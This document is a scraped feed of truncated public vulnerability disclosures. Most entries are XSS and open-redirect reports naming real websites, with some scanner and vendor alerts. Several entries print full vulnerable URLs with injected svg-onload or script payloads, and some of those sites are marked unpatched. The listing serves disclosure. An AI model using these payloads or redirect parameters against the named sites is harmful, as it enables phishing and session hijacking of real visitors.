atld.de XSS vulnerability

Open Bug Bounty ID: OBB-230090 Description| Value ---|--- Affected Website:| atld.de Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

after.guildlaunch.com XSS vulnerability

Vulnerable URL: http://after.guildlaunch.com/recruiting/login.php?destination=test%22%27--!%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

maastrichtsport.nl XSS vulnerability

Vulnerable URL: http://www.maastrichtsport.nl/zoekresultaten?q="'--!confirmopenbugbounty...

ruthmann.at XSS vulnerability

Vulnerable URL: http://www.ruthmann.at/main.php?target=messen〈=en"alert/OPENBUGBOUNTY/...

catalog.ucdenver.edu XSS vulnerability

Vulnerable URL: http://catalog.ucdenver.edu/portfolionopop.php/"--!" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure Timeline: Description|...

shop.benq.eu Open Redirect vulnerability

Vulnerable URL: https://shop.benq.eu/store/bqeu/frFR/RedirectToLandingPage/pgm.95708900?landingpage=http%3A%2F%2Fwww.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

Error session termination mechanisms lead to account hijacking-vulnerability warning-the black bar safety net

Error session termination mechanisms Session termination is to secure the session period in one important aspect. Security implementation session tokens can effectively reduce the session hijacking attack. The session is terminated as the number of attack control mechanisms, such asXSS（cross-site...

178.79.155.64 XSS vulnerability

Vulnerable URL: http://178.79.155.64/search/?searchType=all=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E&submit.x;=0&submit.y;=0 Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 12:10 GMT Vulnerability type:| XSS Vulnerability...

kr.goodyear.com XSS vulnerability

Vulnerable URL: http://kr.goodyear.com/?s=prompt'OPENBUGBOUNTY'...

info.sanmarcanada.com XSS vulnerability

Vulnerable URL: http://info.sanmarcanada.com/index.jsp?lang=prompt'OPENBUGBOUNTY'...

chukotka.tis.ru XSS vulnerability

Vulnerable URL: http://chukotka.tis.ru/search/products/?sq=%22%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculat...

Threat Outbreak Alert RuleID24254: Email Messages Distributing Malicious Software on August 12, 2016

Medium Alert ID: 48452 First Published: 2016 August 12 14:05 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID24254 may contain the following files: Name |...

Nextcloud: Content (Text) Injection at NextCloud Server 9.0.52 - via http://custom_nextcloud_url/remote.php/dav/files/

Dear Next Cloud Security Team, I would like to report an issue. This is not a critical issue since the affect and not even "touch" something sensitive that stored at the server via the application. As a summary, this is issue need the user interaction for exploiting the "target". So, based on thi...

Gratipay: prevent %2f spoofed URLs in profile statement

https://gratipay.com%[email protected] on clicking on this url this link will take to the google.com or any other malicious url. On seeing it will look like the link will take to the gratipay but onclicking the url it will redirect to the malicious site.Attacker with the help social engg. techniques...

Pin Lock Screen - Dynamic Code Loading, External URLs, Native code usage vulnerabilities

HackApp vulnerability scanner discovered that application Pin Lock Screen published at the 'play' market has multiple vulnerabilities...

Immobilien, Wohnungen & Häuser - Customized SSL, External URLs, Runtime command execution vulnerabilities

HackApp vulnerability scanner discovered that application Immobilien, Wohnungen & Häuser published at the 'play' market has multiple vulnerabilities...

دروس في اللغة الألمانية - Dynamic Code Loading, External URLs, Possible privilege escalation vulnerabilities

HackApp vulnerability scanner discovered that application دروس في اللغة الألمانية published at the 'play' market has multiple vulnerabilities...

magmanet.ru Open Redirect vulnerability

Vulnerable URL: http://magmanet.ru/redirect.php?url=https://xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 12:37 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculate...

eltiempo.es XSS vulnerability

Vulnerable URL: http://www.eltiempo.es/fotos/asturias/amanecer-rojo-el-17"alert'XSSPOSED'...

millanovawinery.com XSS vulnerability

Vulnerable URL: http://www.millanovawinery.com/showimage.php?imagename=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...